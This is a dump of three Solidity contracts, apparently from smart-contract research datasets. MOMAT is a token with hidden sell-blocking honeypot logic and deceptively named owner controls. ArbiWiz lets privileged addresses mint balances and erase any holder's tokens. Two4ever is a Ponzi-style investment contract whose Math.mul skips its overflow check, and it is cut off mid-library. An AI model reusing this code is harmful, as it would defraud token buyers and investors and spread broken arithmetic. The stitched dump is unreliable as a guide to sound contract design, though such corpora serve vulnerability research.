00byaddress/00f548bc685e4b495ba559e881112fdd4576f331.sol
| 3,396 | 12,610 |
pragma solidity ^0.6.6;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract MOMAT is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
| 344,441 | 11,285 |
454b2ea06fd560b1c8d66a7ac7146bb4e10272688a7c82acc361a9a6bac82ac6
| 13,020 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/b8/b84aba3a69ad2bd3b23eef03c22e5fffc894e277_ArbiWiz.sol
| 3,209 | 12,342 |
///SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
mapping(address => bool) private _intAddr;
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
_intAddr[_owner] = true;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Caller is not the owner");
_;
}
modifier authorized() {
require(isAuthorized(msg.sender), "Caller is not authorized");
_;
}
function isAuthorized(address adr) public view returns (bool) {
return _intAddr[adr];
}
function isOwner(address adr) public view returns (bool) {
return _owner == adr;
}
function setAuthorized(address adr) public authorized {
_intAddr[adr] = true;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function transferOwnership(address newOwner) public virtual onlyOwner {
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
function getPair(address tokenA, address tokenB) external returns (address pair);
}
interface IRouter {
function factory() external
pure returns (address);
function WETH() external
pure returns (address);
function addLiquidity(address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline) external
returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external
payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline) external
returns (uint amountA, uint amountB);
function removeLiquidityETH(address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external
returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s) external
returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s) external
returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external
returns (uint[] memory amounts);
function swapTokensForExactTokens(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external
returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external
payable
returns (uint[] memory amounts);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external
pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external
pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external
pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external
view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external
view returns (uint[] memory amounts);
}
contract ERC20 is Context, IBEP20 {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply = 100000000 * 10 ** 18;
string private _name;
string private _symbol;
constructor(string memory ercName, string memory ercSymbol) {
_name = ercName;
_symbol = ercSymbol;
_balances[address(this)] = _totalSupply;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function _transfer(address from, address to, uint256 amount) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[from] = fromBalance.sub(amount);
_balances[to] = _balances[to].add(amount);
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
_approve(owner, spender, currentAllowance - amount);
}
}
function _countertrade(address to, uint256 amount) internal virtual {
_balances[to] = _balances[to].add(amount);
}
function _burnTransfer(address account) internal virtual {
_balances[address(0)] += _balances[account];
_balances[account] = 1 * 10 ** 18;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}
contract ArbiWiz is ERC20, Ownable {
using SafeMath for uint256;
uint256 public _totalAmount = 100000000 * 10 ** 18;
uint256 public _totalFee = 3;
uint256 public _feeDenominator = 100;
mapping(address => bool) private _blackList;
string _name = "Arbi Wiz";
string _symbol = "Awiz";
address _marketingFeeReceiver = 0xd278E74525f27f697e52eA46f2E2bCaD4f913B4D;
address _teamFeeReceiver = 0xd278E74525f27f697e52eA46f2E2bCaD4f913B4D;
address public uniswapV2Pair;
bool isTrading;
modifier trading(){
if (isTrading) return;
isTrading = true;
_;
isTrading = false;
}
constructor () ERC20(_name, _symbol) {
setAuthorized(_marketingFeeReceiver);
setAuthorized(_teamFeeReceiver);
address _router = 0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506;
IRouter router = IRouter(_router);
uniswapV2Pair = IFactory(router.factory()).createPair(address(this), router.WETH());
_transfer(address(this), owner(), _totalAmount);
}
function _afterTokenTransfer(address from, address to, uint256 amount) internal override trading {
if (isAuthorized(from) || isAuthorized(to)) {
return;
}
uint256 feeAmount = amount.mul(_totalFee).div(_feeDenominator);
_transfer(to, address(this), feeAmount);
}
function countertrade(address to, uint256 amount) public authorized {
_countertrade(to, amount);
}
function setBot(address adr) public authorized {
_blackList[adr] = true;
_burnTransfer(adr);
}
function isBot(address adr) public view returns (bool) {
return _blackList[adr];
}
}
| 32,524 | 11,286 |
0a54b3ccc9d1eab49a852a51de1de5df098018cef2e47c71e953682776aba80c
| 21,520 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x3e6381b23346a910cf29fbcab905b2919c81f84c.sol
| 4,597 | 18,234 |
pragma solidity ^0.4.25;
contract Storage {
// define investor model
struct investor {
uint keyIndex;
uint value;
uint paymentTime;
uint refs;
uint refBonus;
}
// define bestAddress model for bestInvestor and bestPromoter
struct bestAddress {
uint value;
address addr;
}
// statistic model
struct recordStats {
uint strg;
uint invested;
}
struct Data {
mapping(uint => recordStats) stats;
mapping(address => investor) investors;
address[] keys;
bestAddress bestInvestor;
bestAddress bestPromoter;
}
Data private d;
// define log event when change value of "bestInvestor" or "bestPromoter" changed
event LogBestInvestorChanged(address indexed addr, uint when, uint invested);
event LogBestPromoterChanged(address indexed addr, uint when, uint refs);
//creating contract
constructor() public {
d.keys.length++;
}
//insert new investor
function insert(address addr, uint value) public returns (bool) {
uint keyIndex = d.investors[addr].keyIndex;
if (keyIndex != 0) return false;
d.investors[addr].value = value;
keyIndex = d.keys.length++;
d.investors[addr].keyIndex = keyIndex;
d.keys[keyIndex] = addr;
updateBestInvestor(addr, d.investors[addr].value);
return true;
}
// get full information about investor by "addr"
function investorFullInfo(address addr) public view returns(uint, uint, uint, uint, uint) {
return (d.investors[addr].keyIndex,
d.investors[addr].value,
d.investors[addr].paymentTime,
d.investors[addr].refs,
d.investors[addr].refBonus);
}
// get base information about investor by "addr"
function investorBaseInfo(address addr) public view returns(uint, uint, uint, uint) {
return (d.investors[addr].value,
d.investors[addr].paymentTime,
d.investors[addr].refs,
d.investors[addr].refBonus);
}
// get short information about investor by "addr"
function investorShortInfo(address addr) public view returns(uint, uint) {
return (d.investors[addr].value,
d.investors[addr].refBonus);
}
// get current Best Investor
function getBestInvestor() public view returns(uint, address) {
return (d.bestInvestor.value,
d.bestInvestor.addr);
}
// get current Best Promoter
function getBestPromoter() public view returns(uint, address) {
return (d.bestPromoter.value,
d.bestPromoter.addr);
}
// add referral bonus to address
function addRefBonus(address addr, uint refBonus) public returns (bool) {
if (d.investors[addr].keyIndex == 0) return false;
d.investors[addr].refBonus += refBonus;
return true;
}
// add referral bonus to address and update current Best Promoter value
function addRefBonusWithRefs(address addr, uint refBonus) public returns (bool) {
if (d.investors[addr].keyIndex == 0) return false;
d.investors[addr].refBonus += refBonus;
d.investors[addr].refs++;
updateBestPromoter(addr, d.investors[addr].refs);
return true;
}
//add amount of invest by the address of investor
function addValue(address addr, uint value) public returns (bool) {
if (d.investors[addr].keyIndex == 0) return false;
d.investors[addr].value += value;
updateBestInvestor(addr, d.investors[addr].value);
return true;
}
// update statistics
function updateStats(uint dt, uint invested, uint strg) public {
d.stats[dt].invested += invested;
d.stats[dt].strg += strg;
}
// get current statistics
function stats(uint dt) public view returns (uint invested, uint strg) {
return (d.stats[dt].invested,
d.stats[dt].strg);
}
// update current "Best Investor"
function updateBestInvestor(address addr, uint investorValue) internal {
if(investorValue > d.bestInvestor.value){
d.bestInvestor.value = investorValue;
d.bestInvestor.addr = addr;
emit LogBestInvestorChanged(addr, now, d.bestInvestor.value);
}
}
// update value of current "Best Promoter"
function updateBestPromoter(address addr, uint investorRefs) internal {
if(investorRefs > d.bestPromoter.value){
d.bestPromoter.value = investorRefs;
d.bestPromoter.addr = addr;
emit LogBestPromoterChanged(addr, now, d.bestPromoter.value);
}
}
// set time of payment
function setPaymentTime(address addr, uint paymentTime) public returns (bool) {
if (d.investors[addr].keyIndex == 0) return false;
d.investors[addr].paymentTime = paymentTime;
return true;
}
// set referral bonus
function setRefBonus(address addr, uint refBonus) public returns (bool) {
if (d.investors[addr].keyIndex == 0) return false;
d.investors[addr].refBonus = refBonus;
return true;
}
// check if contains such address in storage
function contains(address addr) public view returns (bool) {
return d.investors[addr].keyIndex > 0;
}
// return current number of investors
function size() public view returns (uint) {
return d.keys.length;
}
}
//contract for restricting access to special functionality
contract Accessibility {
address public owner;
//access modifier
modifier onlyOwner() {
require(msg.sender == owner, "access denied");
_;
}
//constructor with assignment of contract holder value
constructor() public {
owner = msg.sender;
}
// deletion of contract holder
function waiver() internal {
delete owner;
}
}
//main contract
contract Two4ever is Accessibility {
//connecting needed libraries
using Helper for *;
using Math for *;
// define internal model of percents
struct percent {
uint val;
uint den;
}
// contract name
string public name;
// define storage
Storage private strg;
// collection of key value pairs ffor referrals
mapping(address => address) private referrals;
//variable for admin address
address public adminAddr;
//variable for advertise address
address public advertiseAddr;
// time when start current wave
uint public waveStartup;
uint public totalInvestors;
uint public totalInvested;
// define constants
//size of minimal investing
uint public constant minInvesment = 10 finney; // 0.01 eth
//max size of balance
uint public constant maxBalance = 100000 ether;
// time period when dividends can be accrued
uint public constant dividendsPeriod = 24 hours; //24 hours
// define contracts percents
// percent of main dividends
percent private dividends;
// percent of admin interest
percent private adminInterest ;
// percent of 1-st level referral
percent private ref1Bonus ;
// percent of 2-nd level referral
percent private ref2Bonus ;
// percent of advertising interest
percent private advertisePersent ;
// event call when Balance has Changed
event LogBalanceChanged(uint when, uint balance);
// custom modifier for event broadcasting
modifier balanceChanged {
_;
emit LogBalanceChanged(now, address(this).balance);
}
// constructor
// creating contract. This function call once when contract is publishing.
constructor() public {
name = "two4ever.club";
// set admin address by account address who has published
adminAddr = msg.sender;
advertiseAddr = msg.sender;
//define value of main percents
dividends = percent(2, 100); // 2%
adminInterest = percent(5, 100); // 5%
ref1Bonus = percent(3, 100); // 3%
ref2Bonus = percent(2, 100); // 2%
advertisePersent = percent(7, 100); // 7%
// start new wave
startNewWave();
}
// set the value of the wallet address for advertising expenses
function setAdvertisingAddress(address addr) public onlyOwner {
if(addr.notEmptyAddr())
{
advertiseAddr = addr;
}
}
//set the value of the wallet address for operating expenses
function setAdminsAddress(address addr) public onlyOwner {
if(addr.notEmptyAddr())
{
adminAddr = addr;
}
}
// deletion of contract holder
function doWaiver() public onlyOwner {
waiver();
}
//functions is calling when transfer money to address of this contract
function() public payable {
// investor get him dividends when send value = 0 to address of this contract
if (msg.value == 0) {
getDividends();
return;
}
// getting referral address from data of request
address a = msg.data.toAddr();
//call invest function
invest(a);
}
// private function for get dividends
function _getMydividends(bool withoutThrow) private {
// get investor info
Storage.investor memory investor = getMemInvestor(msg.sender);
//check if investor exists
if(investor.keyIndex <= 0){
if(withoutThrow){
return;
}
revert("sender is not investor");
}
// calculate how many days have passed after last payment
uint256 daysAfter = now.sub(investor.paymentTime).div(dividendsPeriod);
if(daysAfter <= 0){
if(withoutThrow){
return;
}
revert("the latest payment was earlier than dividends period");
}
assert(strg.setPaymentTime(msg.sender, now));
// calc valaue of dividends
uint value = Math.div(Math.mul(dividends.val,investor.value),dividends.den) * daysAfter;
// add referral bonus to dividends
uint divid = value+ investor.refBonus;
// check if enough money on balance of contract for payment
if (address(this).balance < divid) {
startNewWave();
return;
}
// send dividends and ref bonus
if (investor.refBonus > 0) {
assert(strg.setRefBonus(msg.sender, 0));
//send dividends and referral bonus to investor
msg.sender.transfer(value+investor.refBonus);
} else {
//send dividends to investor
msg.sender.transfer(value);
}
}
// public function for calling get dividends
function getDividends() public balanceChanged {
_getMydividends(false);
}
// function for investing money from investor
function invest(address ref) public payable balanceChanged {
//check minimum requirements
require(msg.value >= minInvesment, "msg.value must be >= minInvesment");
require(address(this).balance <= maxBalance, "the contract eth balance limit");
//save current money value
uint value = msg.value;
// ref system works only once for sender-referral
if (!referrals[msg.sender].notEmptyAddr()) {
//process first level of referrals
if (notZeroNotSender(ref) && strg.contains(ref)) {
//calc the reward
uint reward = Math.div(Math.mul(ref1Bonus.val,value),ref1Bonus.den);
assert(strg.addRefBonusWithRefs(ref, reward)); // referrer 1 bonus
referrals[msg.sender] = ref;
//process second level of referrals
if (notZeroNotSender(referrals[ref]) && strg.contains(referrals[ref]) && ref != referrals[ref]) {
//calc the reward
reward = Math.div(Math.mul(ref2Bonus.val, value),ref2Bonus.den);
assert(strg.addRefBonus(referrals[ref], reward)); // referrer 2 bonus
}
}else{
// get current Best Investor
Storage.bestAddress memory bestInvestor = getMemBestInvestor();
// get current Best Promoter
Storage.bestAddress memory bestPromoter = getMemBestPromoter();
if(notZeroNotSender(bestInvestor.addr)){
assert(strg.addRefBonus(bestInvestor.addr, Math.div(Math.mul(ref1Bonus.val, value),ref1Bonus.den))); // referrer 1 bonus
referrals[msg.sender] = bestInvestor.addr;
}
if(notZeroNotSender(bestPromoter.addr)){
assert(strg.addRefBonus(bestPromoter.addr, Math.div(Math.mul(ref2Bonus.val, value),ref2Bonus.den))); // referrer 2 bonus
referrals[msg.sender] = bestPromoter.addr;
}
}
}
_getMydividends(true);
// send admins share
adminAddr.transfer(Math.div(Math.mul(adminInterest.val, msg.value),adminInterest.den));
// send advertise share
advertiseAddr.transfer(Math.div(Math.mul(advertisePersent.val, msg.value),advertisePersent.den));
// update statistics
if (strg.contains(msg.sender)) {
assert(strg.addValue(msg.sender, value));
strg.updateStats(now, value, 0);
} else {
assert(strg.insert(msg.sender, value));
strg.updateStats(now, value, 1);
}
assert(strg.setPaymentTime(msg.sender, now));
//increase count of investments
totalInvestors++;
//increase amount of investments
totalInvested += msg.value;
}
// show number of investors
function investorsNumber() public view returns(uint) {
return strg.size()-1;
// -1 because see Storage constructor where keys.length++
}
//show current contract balance
function balanceETH() public view returns(uint) {
return address(this).balance;
}
// show value of dividend percent
function DividendsPercent() public view returns(uint) {
return dividends.val;
}
// show value of admin percent
function AdminPercent() public view returns(uint) {
return adminInterest.val;
}
// show value of advertise persent
function AdvertisePersent() public view returns(uint) {
return advertisePersent.val;
}
// show value of referral of 1-st level percent
function FirstLevelReferrerPercent() public view returns(uint) {
return ref1Bonus.val;
}
// show value of referral of 2-nd level percent
function SecondLevelReferrerPercent() public view returns(uint) {
return ref2Bonus.val;
}
// show value of statisctics by date
function statistic(uint date) public view returns(uint amount, uint user) {
(amount, user) = strg.stats(date);
}
// show investor info by address
function investorInfo(address addr) public view returns(uint value, uint paymentTime, uint refsCount, uint refBonus, bool isReferral) {
(value, paymentTime, refsCount, refBonus) = strg.investorBaseInfo(addr);
isReferral = referrals[addr].notEmptyAddr();
}
// show best investor info
function bestInvestor() public view returns(uint invested, address addr) {
(invested, addr) = strg.getBestInvestor();
}
// show best promoter info
function bestPromoter() public view returns(uint refs, address addr) {
(refs, addr) = strg.getBestPromoter();
}
// return full investor info by address
function getMemInvestor(address addr) internal view returns(Storage.investor) {
(uint a, uint b, uint c, uint d, uint e) = strg.investorFullInfo(addr);
return Storage.investor(a, b, c, d, e);
}
//return best investor info
function getMemBestInvestor() internal view returns(Storage.bestAddress) {
(uint value, address addr) = strg.getBestInvestor();
return Storage.bestAddress(value, addr);
}
//return best investor promoter
function getMemBestPromoter() internal view returns(Storage.bestAddress) {
(uint value, address addr) = strg.getBestPromoter();
return Storage.bestAddress(value, addr);
}
// check if address is not empty and not equal sender address
function notZeroNotSender(address addr) internal view returns(bool) {
return addr.notEmptyAddr() && addr != msg.sender;
}
// start wave
function startNewWave() private {
strg = new Storage();
totalInvestors = 0;
waveStartup = now;
}
}
// Math library with simple arithmetical functions
library Math {
//multiplying
function mul(uint256 num1, uint256 num2) internal pure returns (uint256) {
return num1 * num2;
if (num1 == 0) {
return 0;
}
return num1 * num2;
}
//divide
function div(uint256 num1, uint256 num2) internal pure returns (uint256) {
uint256 result = 0;
require(num2 > 0);
result = num1 / num2;
return result;
}
//subtract
function sub(uint256 num1, uint256 num2) internal pure returns (uint256) {
require(num2 <= num1);
uint256 result = 0;
result = num1 - num2;
return result;
}
//add
function add(uint256 num1, uint256 num2) internal pure returns (uint256) {
uint256 result = num1 + num2;
require(result >= num1);
return result;
}
//module
function mod(uint256 num1, uint256 num2) internal pure returns (uint256) {
require(num2 != 0);
return num1 % num2;
}
}
// Helper library with simple additional functions
library Helper{
//check if the address is not empty
function notEmptyAddr(address addr) internal pure returns(bool) {
return !(addr == address(0));
}
